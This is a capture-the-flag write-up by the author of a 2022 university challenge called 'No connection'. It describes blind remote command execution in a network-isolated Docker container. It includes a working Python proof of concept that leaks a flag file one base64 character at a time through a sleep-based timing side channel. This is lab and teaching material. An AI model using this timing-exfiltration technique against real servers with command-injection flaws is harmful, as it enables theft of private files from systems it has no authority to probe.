Writeup FPT University CTF 2022 - No connection

On 16 July 2022, FPT university hosted a CTF for their students and kindly asked if I could create a CTF challenge for them. Plus lately I was looking into DNS servers, so I decided to create a challenge that we could exfiltrate server’s data via DNS requests.

Then, I tried writing a docker image that blocks outgoing HTTP requests and only allow outgoing DNS requests, however I got no luck in doing that. Instead, I could create a docker image that blocks ALL outgoing traffics by using this blog.

I tried to change the docker a little bit to allow DNS outgoing, but soon I realized that: “How about I allow them to run any commands and retain the no connection docker image” ? That’s what leads to my challenge.

Currently, all my CTF challenges are hosted on https://anctf.tk/ and the coresponding challenge of this post is named No connection. Please feel free to look into it 😉

Write up

Source here

Basically we can run any shell commands, but we cannot see any response, and the docker does not allow opening a new connection to outside environment.

Thus, the first impression is to recognize this as blind RCE. And in order to exfiltrate data from the server, could we introduce any signal (because we’re blind after all) ?

Then, the second thought should occur: there’s sleep function in shell scripting. So the idea to exfiltrate data is simple, we could cat /msg_with_flag.txt file, the file should contains some weird characters so it’d be best to base64 it. Then for each characters we can use awk or cut command to get 1 character out to use test to check if it is equal to some character or not, if it does equal then we sleep 1, basic as that.

Here is my poc.py:

import requests
import time

charset="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="

# Change this
SERVER_URL = "http://localhost:34257?cmd="

def ifFlagIEqualChar(i, c):
    # Sleep 1 if flag.txt[$i] equals char $c
    cmd = """f=`cat /msg_with_flag.txt|base64 -w0| cut -c %d-%d`;[ $f != %s ]; sleep $?""" % (i+1,i+1, c)
    start_time = time.time()
    r = requests.get(SERVER_URL + cmd)
    end_time = time.time()
    if (end_time - start_time > 1): return True
    return False

etcps=""
i = 0
while True:
    print(etcps)
    found = False
    for c in charset:
        if ifFlagIEqualChar(i, c):
            i += 1
            found = True
            etcps += c
            break
    if not found:
        break

print("================")
print(etcps)